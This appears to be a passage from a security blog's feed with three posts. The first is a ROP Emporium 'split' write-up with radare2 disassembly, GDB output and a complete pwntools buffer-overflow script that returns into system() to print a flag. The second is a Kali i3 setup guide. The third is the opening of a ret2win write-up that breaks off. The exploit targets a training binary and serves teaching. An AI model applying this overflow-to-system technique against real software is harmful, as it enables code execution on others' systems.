\           0x0804849c      e89fffffff     call sym.imp.__libc_start_main ;[1] ; int __libc_start_main(func main, int argc, char **ubp_av, func init, func fini, func rtld_fini, void *stack_end)
            0x080484a1      f4             hlt
            0x080484a2      6690           nop
            0x080484a4      6690           nop
            0x080484a6      6690           nop
            0x080484a8      6690           nop
            0x080484aa      6690           nop
            0x080484ac      6690           nop
            0x080484ae      6690           nop
/ (fcn) sym.__x86.get_pc_thunk.bx 4
|   sym.__x86.get_pc_thunk.bx ();
|           ; CALL XREF from 0x080486d8 (sym._fini)
|           ; CALL XREF from 0x08048674 (sym.__libc_csu_init)
|           ; CALL XREF from 0x080483c4 (sym._init)
|           0x080484b0      8b1c24         mov ebx, dword [esp]
\           0x080484b3      c3             ret
            0x080484b4      6690           nop
            0x080484b6      6690           nop
            0x080484b8      6690           nop
            0x080484ba      6690           nop
            0x080484bc      6690           nop
            0x080484be      6690           nop

We now see the disassembled entry0 function, as this is the default entry point and we've not seeked to anywhere else.

Let's navigate to our pwnme function, first by hitting v, then scrolling to pwnme and then hitting g to "go". We can then hit c for "cursor" mode and scrolling around the disassembled pwnme function using the arrow keys (or vim's hjkl if preferred).

[0x080485f6 19% 270 (0xd:-1=1)]> pd $r @ sym.pwnme+13 # 0x8048603
/ (fcn) sym.pwnme 83
|   sym.pwnme ();
|           ; var int local_28h @ ebp-0x28
|           ; CALL XREF from 0x080485d4 (sym.main)
|           0x080485f6      55             push ebp
|           0x080485f7      89e5           mov ebp, esp
|           0x080485f9      83ec28         sub esp, 0x28               ; '('
|           0x080485fc      83ec04         sub esp, 4
|           0x080485ff      6a20           push 0x20                   ; 32
|           0x08048601      6a00           push 0                      ; size_t n
|           0x08048603   *  8d45d8         lea eax, dword [local_28h]
|           0x08048606      50             push eax                    ; int c
|           0x08048607      e854feffff     call sym.imp.memset         ;[1] ; void *memset(void *s, int c, size_t n)
|           0x0804860c      83c410         add esp, 0x10
|           0x0804860f      83ec0c         sub esp, 0xc
|           0x08048612      6818870408     push str.Contriving_a_reason_to_ask_user_for_data...    ; 0x8048718 ; "Contriving a reason to ask user for data..." ; const char * s
|           0x08048617      e804feffff     call sym.imp.puts           ;[2] ; int puts(const char *s)
|           0x0804861c      83c410         add esp, 0x10
|           0x0804861f      83ec0c         sub esp, 0xc
|           0x08048622      6844870408     push 0x8048744              ; const char * format
|           0x08048627      e8d4fdffff     call sym.imp.printf         ;[3] ; int printf(const char *format)
|           0x0804862c      83c410         add esp, 0x10
|           0x0804862f      a180a00408     mov eax, dword [obj.stdin]    ; [0x804a080:4]=0
|           0x08048634      83ec04         sub esp, 4
|           0x08048637      50             push eax
|           0x08048638      6a60           push 0x60                   ; '`' ; 96
|           0x0804863a      8d45d8         lea eax, dword [local_28h]
|           0x0804863d      50             push eax                    ; char *s
|           0x0804863e      e8cdfdffff     call sym.imp.fgets          ;[4] ; char *fgets(char *s, int size, FILE *stream)
|           0x08048643      83c410         add esp, 0x10
|           0x08048646      90             nop
|           0x08048647      c9             leave
\           0x08048648      c3             ret

We've scrolled down to the first instance of our local_28h variable. We can rename this flag in Radare2 by hitting d (for "define") and then choosing the rename flag option, n.

Let's rename it to user_input and hit Enter, then hit ; to add a comment for that line and detail that it's overflowable.

Once we're done, we can see things look that little bit clearer:

[0x080485f6 19% 270 (0xd:-1=1)]> pd $r @ sym.pwnme+13 # 0x8048603
/ (fcn) sym.pwnme 83
|   sym.pwnme ();
|           ; var int user_input @ ebp-0x28
|           ; CALL XREF from 0x080485d4 (sym.main)
|           0x080485f6      55             push ebp
|           0x080485f7      89e5           mov ebp, esp
|           0x080485f9      83ec28         sub esp, 0x28               ; '('
|           0x080485fc      83ec04         sub esp, 4
|           0x080485ff      6a20           push 0x20                   ; 32
|           0x08048601      6a00           push 0                      ; size_t n
|           0x08048603   *  8d45d8         lea eax, dword [user_input]    ; this buffer is overflowable!
|           0x08048606      50             push eax                    ; int c
|           0x08048607      e854feffff     call sym.imp.memset         ;[1] ; void *memset(void *s, int c, size_t n)
|           0x0804860c      83c410         add esp, 0x10
|           0x0804860f      83ec0c         sub esp, 0xc
|           0x08048612      6818870408     push str.Contriving_a_reason_to_ask_user_for_data...    ; 0x8048718 ; "Contriving a reason to ask user for data..." ; const char * s
|           0x08048617      e804feffff     call sym.imp.puts           ;[2] ; int puts(const char *s)
|           0x0804861c      83c410         add esp, 0x10
|           0x0804861f      83ec0c         sub esp, 0xc
|           0x08048622      6844870408     push 0x8048744              ; const char * format
|           0x08048627      e8d4fdffff     call sym.imp.printf         ;[3] ; int printf(const char *format)
|           0x0804862c      83c410         add esp, 0x10
|           0x0804862f      a180a00408     mov eax, dword [obj.stdin]    ; [0x804a080:4]=0
|           0x08048634      83ec04         sub esp, 4
|           0x08048637      50             push eax
|           0x08048638      6a60           push 0x60                   ; '`' ; 96
|           0x0804863a      8d45d8         lea eax, dword [user_input]
|           0x0804863d      50             push eax                    ; char *s
|           0x0804863e      e8cdfdffff     call sym.imp.fgets          ;[4] ; char *fgets(char *s, int size, FILE *stream)
|           0x08048643      83c410         add esp, 0x10
|           0x08048646      90             nop
|           0x08048647      c9             leave
\           0x08048648      c3             ret

Next let's take a look at the usefulFunction, and see what we have to work with for our exploit.

We navigate to this function in Visual Mode, in the same way as we did for pwnme, v to list the functions, then g to go to it.

[0x08048649 20% 270 (0x9:-1=1)]> pd $r @ sym.usefulFunction+9 # 0x8048652
/ (fcn) sym.usefulFunction 25
|   sym.usefulFunction ();
|           0x08048649      55             push ebp
|           0x0804864a      89e5           mov ebp, esp
|           0x0804864c      83ec08         sub esp, 8
|           0x0804864f      83ec0c         sub esp, 0xc
|           0x08048652   *  6847870408     push str.bin_ls             ; 0x8048747 ; "/bin/ls" ; const char * string
|           0x08048657      e8d4fdffff     call sym.imp.system         ;[1] ; int system(const char *string)
|           0x0804865c      83c410         add esp, 0x10
|           0x0804865f      90             nop
|           0x08048660      c9             leave
\           0x08048661      c3             ret

We can see that we have our system call again, much like last time, however the command being executed isn't showing us our flag but just invoking /bin/ls to list the files in the current directory.

Let's have a look at what strings are available to us in the binary. To do this, we use the iz command to list all strings in the data sections, or izz to list all strings in the binary. However this is a none-Visual Mode command, so to execute it from Visual Mode we hit :, then enter the command. This is a little bit easier than quitting out to command mode, then re-entering Visual Mode and finding where we were.

We check just the data sections first, as this is the section where strings used by the binary are normally stored.

Press <enter> to return to Visual mode.(sym.__libc_csu_init)
:> iz
000 0x000006f0 0x080486f0  21  22 (.rodata) ascii split by ROP Emporium
001 0x00000706 0x08048706   7   8 (.rodata) ascii 32bits\n
002 0x0000070e 0x0804870e   8   9 (.rodata) ascii \nExiting
003 0x00000718 0x08048718  43  44 (.rodata) ascii Contriving a reason to ask user for data...
004 0x00000747 0x08048747   7   8 (.rodata) ascii /bin/ls
000 0x00001030 0x0804a030  17  18 (.data) ascii /bin/cat flag.txt

:>

Aha! We spot a string we can use at another location in memory. /bin/cat flag.txt is the same command as in ret2win, which should just print our flag value to the screen for us.

We have the pieces we need, let's set about exploiting this thing.

Exploitation

Let's create our pwntools script in the same way as last time, and use pwn.cyclic to determine the offset to EIP.

#!/usr/bin/env python2

import pwn

t = pwn.process("./split32")

gdb_cmd = [
    'c'
]

pwn.gdb.attach(t, gdbscript = '\n'.join(gdb_cmd))

buf = pwn.cyclic(60, n = 4)

t.recvuntil('\n>')
t.sendline(buf)

t.interactive()

The process crashes, as expected, and we find that the EIP overflow occurs at "laaa".

────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]────
[#0] Id 1, Name: "split32", stopped, reason: STOPPED
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]────
[#0] 0xf7f6c059 → Name: __kernel_vsyscall()
[#1] 0xf7e4e7d7 → Name: read()
[#2] 0xf7ddb798 → Name: _IO_file_underflow()
[#3] 0xf7ddc8ab → Name: _IO_default_uflow()
[#4] 0xf7dcf871 → Name: _IO_getline_info()
[#5] 0xf7dcf9be → Name: _IO_getline()
[#6] 0xf7dce7a9 → Name: fgets()
[#7] 0x8048643 → Name: pwnme()
[#8] 0x80485d9 → Name: main()
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0xf7f6c059 in __kernel_vsyscall ()

Program received signal SIGSEGV, Segmentation fault.
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]────
$eax   : 0xffa32570  →  "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama[...]"
$ebx   : 0x00000000
$ecx   : 0xf7f3f89c  →  0x00000000
$edx   : 0xffa32570  →  "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama[...]"
$esp   : 0xffa325a0  →  "maaanaaaoaaa"
$ebp   : 0x6161616b ("kaaa"?)
$esi   : 0xf7f3e000  →  0x001d4d6c ("lM"?)
$edi   : 0x00000000
$eip   : 0x6161616c ("laaa"?)
$eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$ss: 0x002b  $gs: 0x0063  $cs: 0x0023  $ds: 0x002b  $es: 0x002b  $fs: 0x0000  
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]────
0xffa325a0│+0x00: "maaanaaaoaaa"	 ← $esp
0xffa325a4│+0x04: "naaaoaaa"
0xffa325a8│+0x08: "oaaa"
0xffa325ac│+0x0c: 0xf7d8000a  →  0x41600000
0xffa325b0│+0x10: 0xf7f3e000  →  0x001d4d6c ("lM"?)
0xffa325b4│+0x14: 0xf7f3e000  →  0x001d4d6c ("lM"?)
0xffa325b8│+0x18: 0x00000000
0xffa325bc│+0x1c: 0xf7d81e81  →  <__libc_start_main+241> add esp, 0x10
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386 ]────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x6161616c
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]────
[#0] Id 1, Name: "split32", stopped, reason: SIGSEGV
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]────
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
0x6161616c in ?? ()
gef➤  

Now that we know our offset, we can start building our ROP chain.

We don't have a function to call this time that will just do everything for us. Instead, we're going to have to "ret" to system directly, and set up the chain to pass the /bin/cat flag.txt string instead of /bin/ls.

Now we know that we can't just invoke system in libc directly, as ASLR is enabled so its address will keep changing every time we run the executable.

We can confirm this from the command line using ldd. This command will print the linked library dependencies of an executable and their memory addresses. We can note that if we run it several times, the base memory address of the linked libraries changes:

root@finn  split # ldd split32
        linux-gate.so.1 (0xf7fa7000)
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7da5000)
        /lib/ld-linux.so.2 (0xf7fa9000)
root@finn  split # ldd split32
        linux-gate.so.1 (0xf7f3b000)
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d39000)
        /lib/ld-linux.so.2 (0xf7f3d000)
root@finn  split # ldd split32
        linux-gate.so.1 (0xf7f9f000)
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7d9d000)
        /lib/ld-linux.so.2 (0xf7fa1000)
root@finn  split #

The GOT and the PLT

So what can we do? Well, the problem we're having will also be encountered by the split32 binary, it has to be able to reference system in some way if it wants to invoke it, right?

The way it does this is through the magic of the Global Offset Table (GOT) and the Procedural Linkage Table (PLT). These are two sections of our split32 binary, as we can see by using objdump to list the section headers of split32.

$ objdump -h split32

split32:     file format elf32-i386

Sections:
Idx Name          Size      VMA       LMA       File off  Algn
  0 .interp       00000013  08048154  08048154  00000154  2**0
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  1 .note.ABI-tag 00000020  08048168  08048168  00000168  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  2 .note.gnu.build-id 00000024  08048188  08048188  00000188  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  3 .gnu.hash     00000030  080481ac  080481ac  000001ac  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  4 .dynsym       000000d0  080481dc  080481dc  000001dc  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  5 .dynstr       00000081  080482ac  080482ac  000002ac  2**0
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  6 .gnu.version  0000001a  0804832e  0804832e  0000032e  2**1
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  7 .gnu.version_r 00000020  08048348  08048348  00000348  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  8 .rel.dyn      00000020  08048368  08048368  00000368  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
  9 .rel.plt      00000038  08048388  08048388  00000388  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
 10 .init         00000023  080483c0  080483c0  000003c0  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 11 .plt          00000080  080483f0  080483f0  000003f0  2**4
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 12 .plt.got      00000008  08048470  08048470  00000470  2**3
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 13 .text         00000252  08048480  08048480  00000480  2**4
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 14 .fini         00000014  080486d4  080486d4  000006d4  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, CODE
 15 .rodata       00000067  080486e8  080486e8  000006e8  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
 16 .eh_frame_hdr 0000003c  08048750  08048750  00000750  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
 17 .eh_frame     0000010c  0804878c  0804878c  0000078c  2**2
                  CONTENTS, ALLOC, LOAD, READONLY, DATA
 18 .init_array   00000004  08049f08  08049f08  00000f08  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 19 .fini_array   00000004  08049f0c  08049f0c  00000f0c  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 20 .jcr          00000004  08049f10  08049f10  00000f10  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 21 .dynamic      000000e8  08049f14  08049f14  00000f14  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 22 .got          00000004  08049ffc  08049ffc  00000ffc  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 23 .got.plt      00000028  0804a000  0804a000  00001000  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 24 .data         00000022  0804a028  0804a028  00001028  2**2
                  CONTENTS, ALLOC, LOAD, DATA
 25 .bss          0000002c  0804a060  0804a060  0000104a  2**5
                  ALLOC
 26 .comment      00000034  00000000  00000000  0000104a  2**0
                  CONTENTS, READONLY

Note that the GOT is writable.

The crux of how this works is that every imported function will be listed in the PLT, and the split32 code will point to that listing in the PLT. When that function is invoked, the PLT heads over to the GOT and tries to look up the actual address of the function. If it's the first time, the GOT redirects to the link loader library (ld-linux.so, which we saw earlier is imported when we used ldd) which goes and fetches the real address. The GOT will then save this value for all future calls to that function, which is why it needs to be writable.

We can see therefore easily see the imported functions of a binary by examining the PLT. Radare2 did this for us automatically, and we can see them in the initial function list. All the functions starting with 'sym.imp.' are imported functions, and we can see that this includes system as we expect.

0x08048400    1 6            sym.imp.printf
0x08048410    1 6            sym.imp.fgets
0x08048420    1 6            sym.imp.puts
0x08048430    1 6            sym.imp.system
0x08048440    1 6            sym.imp.__libc_start_main
0x08048450    1 6            sym.imp.setvbuf
0x08048460    1 6            sym.imp.memset
```

The addresses here are in the address space of our binary as they are in the PLT, and so are not subject to ASLR. We can therefore just point to this address instead of the actual address of system as the binary would normally, and avoid having to deal with ASLR!

We note then that the address of the system import is 0x08048430 and we have to set up the chain so that it's called with 0x0804a030 as the argument, which is the address of /bin/cat flag.txt.

Setting up the stack frame

We're almost there. All we have to do is set up our chain so it looks like right to the processor.

Inside a function, everything is stored inside a stack frame on the stack. When a new function is called, a new stack frame is set up and "pushed" on top of the stack, and when that function completes its stack frame is "popped" back off, and the first function's stack frame is still there and is restored, putting everything back in place as it had been.

The anatomy of a stack frame is detailed in the below image.

Ropping to Victory - Part 2, split

(Note this image was taken from Gustavo Duarte's article on the stack, a great intro and recommended reading).

While all other sections in the binary start at a low-numbered address and end at an address with a higher number (like large houses on a street), the stack works in the opposite direction. This allows the stack and heap sections, which are both used to store dynamic data, to grow towards each other efficiently with no loss of space.

When a function is first invoked, it executes the function preamble where it saves the value of the ebp register and creates space for the local variables.

We can see this in the functions we have disassembled, for example at the top of pwnme:

|           0x080485f6      55             push ebp
|           0x080485f7      89e5           mov ebp, esp
|           0x080485f9      83ec28         sub esp, 0x28               ; '('
|           0x080485fc      83ec04         sub esp, 4
...snip...

Note that as the stack grows down, subtracting numbers from ESP (the stack pointer, which points to the end or top of the stack) is allocating more memory to the stack.

This means that the three values to the left to the image above are set up once we're in a function, and we don't have to worry about adding them to our ROP chain as we're setting up a call to a function before it's called.

Now when when writing into memory we write from low to high addresses as we expect. Comparing this to the diagram, this means we'll be "coming in from the left" and that when we overwrite the stack with our buffer overflow after EIP we want the return address of the next function we want to invoke, then the parameters to the current function we're calling.

As we don't want to invoke another function, we can just put four-bytes of rubbish and then our parameters.

After our function is invoked, it will look like our stack frame was set up with a return address and parameters that are actually controlled by us! It will then enter the function preamble and push EBP to the stack and create space for the local variables. This will overwrite part of our buffer overflow buffer, but in the direction we don't care about!

Our chain then will look like this:

#!/usr/bin/env python2

import pwn

t = pwn.process("./split32")

gdb_cmd = [
          'c'
]

ptr_system_plt = 0x08048430
ptr_cat_flag_string = 0x0804a030

pwn.gdb.attach(t, gdbscript = '\n'.join(gdb_cmd))

offset = pwn.cyclic_find("laaa", n = 4)

buf = "A"*offset
buf += pwn.p32(ptr_system_plt)
buf += "BBBB"
buf += pwn.p32(ptr_cat_flag_string)

t.recvuntil('\n>')
t.sendline(buf)

t.interactive()

Here our chain is enough As to reach our offset, a 32-bit packed pointer to system in the PLT, a garbage return address of four Bs (as we don't care where it goes after we get our flag!) and then the 32-bit packed address of our cat-flag-string.

Let's run it!

root@finn  split # python pwn_redo.py
[+] Starting local process './split32': pid 53952
[*] running in new terminal: /usr/bin/gdb -q  "./split32" 53952 -x "/tmp/pwnKLrssb.gdb"
[+] Waiting for debugger: Done
[*] Switching to interactive mode
ROPE{a_placeholder_32byte_flag!}
[*] Got EOF while reading in interactive
$

Huzzah! We got our flag! A job well done.

Summary

This was quite a lengthy post as we looked at ropemporium's second 32-bit challenge, split. We've picked up Visual Mode in radare2 in addition to a few other bits and pieces, and looked at how the binary resolves functions when ASLR is present on the host using the PLT and the GOT. Finally, we got to grips with stack frames and set up an exploit to invoke system, passing to it a string stored elsewhere in memory.

Next time we'll try the third challenge, callme, where we'll have to set up our first actual ROP chain, invoking multiple functions!

]]>
<![CDATA[Lightening the load for Kali VMs]]>/kali-and-i3-lightening-the-load/5ae7056cc11cf4073080f5e9Mon, 30 Apr 2018 15:04:23 GMTLightening the load for Kali VMs

A quick setup guide for i3 on Kali.

If you're anything like me, you regularly use Kali Linux as a VM or on lightweight boxes with fewer resources than you'd like. I recently switched to the i3 window manager instead of Gnome, and have marked a significant increase in the usability of the VM. I've tried Kali's other default Window Managers (KDE, Mate etc) but for the most part they either look like crap or don't make a big difference to the usability, whereas i3 (for me) is simple, looks decent, and uses far fewer resources.

In this guide, we're going to set up i3 on Kali, and get it looking reasonable.

What is it?

i3 is a tiling window manager. This means that, by default, anytime you create a new window (terminal, firefox, etc) it splits the screen, however we're going to set it up slightly differently so that all windows are presented in tabs. We'll also have workspaces of course, as well as a minimalistic status bar. The final product can be seen below.

Lightening the load for Kali VMs

Installation

The first step is to install i3, in addition to a few extras that we'll use to style it.

$ apt install -y gtk-chtheme i3 i3blocks lxappearance 

Now reboot and when we go to log in, after entering the username field and at the password prompt a little cog icon appears next to the login button, from here we can choose "i3" and we're good to start!

Note that it looks pretty horrible at the moment, but we'll quickly change that. If you get prompted for a default modifier key, the recommended option is windows. This is the key that will be used to navigate tabs etc, we'll go over that later.

Configuration

All the configuration for i3 itself takes place in the ~/.config/i3 folder, mostly the config file. We'll need to have logged in using i3 at least once to have these files created.

To start out, hit the modifier key you chose earlier and Enter to launch a terminal.

Add the following lines to the bottom of the config file:

workspace_layout tabbed # Tells i3 to use tabs for new windows, not splits
hide_edge_borders both  # Hides some large black borders around windows

Then add or amend the bar subsection to invoke i3blocks, a much nicer status bar than the default.

set $base00 #101218
set $base01 #1f222d
set $base02 #252936
set $base03 #7780a1
set $base04 #C0C5CE
set $base05 #d1d4e0
set $base06 #C9CCDB
set $base07 #ffffff
set $base08 #ee829f
set $base09 #f99170
set $base0A #ffefcc
set $base0B #a5ffe1
set $base0C #97e0ff
set $base0D #97bbf7
set $base0E #c0b7f9
set $base0F #fcc09e

bar {
        status_command i3blocks -c ~/.config/i3/i3blocks.conf 
	colors {

	    separator           $base03
	    background          $base01
	    statusline          $base05

	    #                  border  background text
	    focused_workspace  $base01 $base01    $base07
	    active_workspace   $base01 $base02    $base03
	    inactive_workspace $base01 $base01    $base03
	    urgent_workspace   $base01 $base01    $base08
	}
}

We can then configure the ~/.config/i3/i3blocks.conf file to alter our status bar, for example commenting the temperature and battery sections, as they're not useful for VMs. We can get this file from the i3blocks github repository, and alter it as we wish.

Usage

i3 has it's own set of commands, which are quite intuitive and easy to use. It uses a "mod" key which can be changed, but by default is the windows key.

  • To start a terminal mod+Enter
  • To start a process mod+d and start typing process name. A suggestion bar appears at the top of the screen.
  • To move between tabs mod+arrow keys
  • To move between workspaces mod+number of workspace
  • To move a window to a workspace mod+shift+number of workspace
  • To reload i3 config mod+shift+r
  • To close a window mod+shift+q
  • To log out mod+shift+e

Extras

Spicing up the desktop

There are a great set of YouTube videos by Code Cast here that go over some optional extras for i3, such as always launching certain processes (such as a terminal, firefox etc) in a dedicated workspace, or changing the workspace icons in the bottom-left (usually 1,2,3 etc) to font-awesome icons such as the firefox and terminal symbols.

Font

As suggested by the above videos, I use the Yosemite San Francisco font, originally for Macs. To install this run:

$ wget https://github.com/supermarin/YosemiteSanFranciscoFont/blob/master/System%20San%20Francisco%20Display%20Regular.ttf?raw=true -O ~/.font/System\ San\ Francisco\ Display\ Regular.ttf

Then change the name of the font that's used by editing the ~/.gtkrc-2.0 file, changing the line gtk-font-name="System San Francisco Display 12", where 12 is the font size. If this file does not exist, just create it.

We can also run lxappearance and gtk-chtheme. These programs can be used to alter most appearance settings, however they don't appear to notice the new font file so we have to edit the file manually. We may also have to change it in ~/.config/gtk-3.0/settings.ini in the same way, depending on versions used.

Other UI extras

Lightening the load for Kali VMs

In the above screenshot I'm using byobu as the terminal multiplexer and vim powerline for vim. Both are great tools I can recommend.

Setting i3 as the default Window Manager

We can change the default window manager in the file /usr/share/gdm/BuiltInSessions/default.desktop by changing the value of Exec to i3.

If it's not been changed from it's default value, we can run:

$ sed -i.bak '/^Exec=/ s/default/i3/' /usr/share/gdm/BuiltInSessions/default.desktop

This will also create a backed up file of the original at /usr/share/gdm/BuiltInSessions/default.desktop.bak.

However I found that Kali Linux still had "GNOME" selected in the window manager menu on the login screen by default, and not the default by default which was frustrating. I didn't find how to change this, so in the end I just backed up the folder where this options are stored, and removed the GNOME options:

$ cp -r /usr/share/xsessions /usr/share/xsessions.bak
$ rm /usr/share/xsessions/gnome*

Then when logging in, the i3 window manager is used by default.

If anyone finds out how to elegantly handle this, please tweet at me to let me know!

Summary

We've had a quick look at setting up i3 as a window manager for Kali Linux. We've touched on the usage and some configuration options, but almost every aspect of i3 is configurable. For more details and options, check out the i3 user guide.

]]>
<![CDATA[Ropping to Victory]]>/rop-emporium-ret2win-with-radare-and-pwntools/5ad4a0f79722fd073e3d8304Mon, 16 Apr 2018 17:42:07 GMTRopping to Victory

ROP Emporium challenges with Radare2 and pwntools.

Today we're going to be cracking the first ropmeporium challenge. These challenges are a learning tool for Return Oriented Programming, a modern exploit technique for buffer overflows that helps bypass security mechanisms such as DEP. They take the form of crackmes that get incrementally harder, forcing the learner to apply different techniques to overcome the challenge. The objective is to exploit the binary and get it to read the flag.txt that is in the same directory.

We're going to start with the first and simplest crackme, aptly called ret2win, and focus on the 32-bit version to begin with. We'll use radare2 for the reverse engineering aspects and pwntools for slick exploit development, so this will also provide a bit of a primer for those tools. Make sure you have these installed if you want to follow along.

Binary Analysis

To start off, lets have a look at the file:

$ file ret2win32
ret2win32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=70a25eb0b818fdc0bafabe17e07bccacb8513a53, not stripped

We see that it's a 32-bit ELF, and has not been stripped, so let's fire up radare2 have a look at what's going on.

$ r2 -AAA ret2win32
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[x] Emulate code to find computed references (aae)
[x] Analyze consecutive function (aat)
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[x] Type matching analysis for all functions (afta)
[0x08048480]>

The -AAA argument instructs radare to perform all analysis of the binary straight away, and we're then presented with a memory address at a prompt.

The memory address in the prompt is the location in the binary we are currently at. This is a virtual memory address, the same used by the binary when running, assuming ASLR isn't present. By default the starting address is the address of the entry0 function, where program execution starts.

We can list all the functions in the binary with afl:

[0x08048480]> afl
0x080483c0    3 35           sym._init
0x08048400    1 6            sym.imp.printf
0x08048410    1 6            sym.imp.fgets
0x08048420    1 6            sym.imp.puts
0x08048430    1 6            sym.imp.system
0x08048440    1 6            sym.imp.__libc_start_main
0x08048450    1 6            sym.imp.setvbuf
0x08048460    1 6            sym.imp.memset
0x08048470    1 6            sub.__gmon_start_470
0x08048480    1 33           entry0
0x080484b0    1 4            sym.__x86.get_pc_thunk.bx
0x080484c0    4 43           sym.deregister_tm_clones
0x080484f0    4 53           sym.register_tm_clones
0x08048530    3 30           sym.__do_global_dtors_aux
0x08048550    4 43   -> 40   entry1.init
0x0804857b    1 123          sym.main
0x080485f6    1 99           sym.pwnme
0x08048659    1 41           sym.ret2win
0x08048690    4 93           sym.__libc_csu_init
0x080486f0    1 2            sym.__libc_csu_fini
0x080486f4    1 20           sym._fini

Here we can note several interesting functions: main, pwnme and ret2win.

As program execution properly starts in the main method, let's take a look at that first to orient ourselves.

We can do this with the pdf (print disassembled function) command. By default, these commands in radare run at the current location. We can therefore seek to the main method and run pdf.

[0x08048480]> s sym.main
[0x0804857b]> pdf
            ;-- main:
/ (fcn) sym.main 123
|   sym.main ();
|           ; var int local_4h_2 @ ebp-0x4
|           ; var int local_4h @ esp+0x4
|           ; DATA XREF from 0x08048497 (entry0)
|           0x0804857b      8d4c2404       lea ecx, dword [local_4h]   ; 4
|           0x0804857f      83e4f0         and esp, 0xfffffff0
|           0x08048582      ff71fc         push dword [ecx - 4]
|           0x08048585      55             push ebp
|           0x08048586      89e5           mov ebp, esp
|           0x08048588      51             push ecx
|           0x08048589      83ec04         sub esp, 4
|           0x0804858c      a164a00408     mov eax, dword [obj.stdout] ; [0x804a064:4]=0
|           0x08048591      6a00           push 0
|           0x08048593      6a02           push 2                      ; 2
|           0x08048595      6a00           push 0                      ; size_t size
|           0x08048597      50             push eax                    ; int mode
|           0x08048598      e8b3feffff     call sym.imp.setvbuf        ; int setvbuf(FILE*stream, char*buf, int mode, size_t size)
|           0x0804859d      83c410         add esp, 0x10
|           0x080485a0      a140a00408     mov eax, dword [sym.stderr] ; obj.stderr ; [0x804a040:4]=0
|           0x080485a5      6a00           push 0
|           0x080485a7      6a02           push 2                      ; 2
|           0x080485a9      6a00           push 0                      ; size_t size
|           0x080485ab      50             push eax                    ; int mode
|           0x080485ac      e89ffeffff     call sym.imp.setvbuf        ; int setvbuf(FILE*stream, char*buf, int mode, size_t size)
|           0x080485b1      83c410         add esp, 0x10
|           0x080485b4      83ec0c         sub esp, 0xc
|           0x080485b7      6810870408     push str.ret2win_by_ROP_Emporium ; 0x8048710 ; "ret2win by ROP Emporium" ; const char * s
|           0x080485bc      e85ffeffff     call sym.imp.puts           ; int puts(const char *s)
|           0x080485c1      83c410         add esp, 0x10
|           0x080485c4      83ec0c         sub esp, 0xc
|           0x080485c7      6828870408     push str.32bits             ; 0x8048728 ; "32bits\n" ; const char * s
|           0x080485cc      e84ffeffff     call sym.imp.puts           ; int puts(const char *s)
|           0x080485d1      83c410         add esp, 0x10
|           0x080485d4      e81d000000     call sym.pwnme
|           0x080485d9      83ec0c         sub esp, 0xc
|           0x080485dc      6830870408     push str.Exiting            ; 0x8048730 ; "\nExiting" ; const char * s
|           0x080485e1      e83afeffff     call sym.imp.puts           ; int puts(const char *s)
|           0x080485e6      83c410         add esp, 0x10
|           0x080485e9      b800000000     mov eax, 0
|           0x080485ee      8b4dfc         mov ecx, dword [local_4h_2]
|           0x080485f1      c9             leave
|           0x080485f2      8d61fc         lea esp, dword [ecx - 4]
\           0x080485f5      c3             ret
[0x0804857b]>

Notice how the memory address in the prompt changes as we seek to the main function. Now running pdf prints the disassembled main function.

We notice that a bunch of stuff is printed using puts and then pwnme is called, so let's take a look at that function.

Instead of seeking to where we want to disassemble, we can also just point the pdf command at our function. This functionality is common across a lot of commands, we can point them at functions, flags or memory in the same way.

[0x0804857b]> pdf @ sym.pwnme
/ (fcn) sym.pwnme 99
|   sym.pwnme ();
|           ; var int local_28h @ ebp-0x28
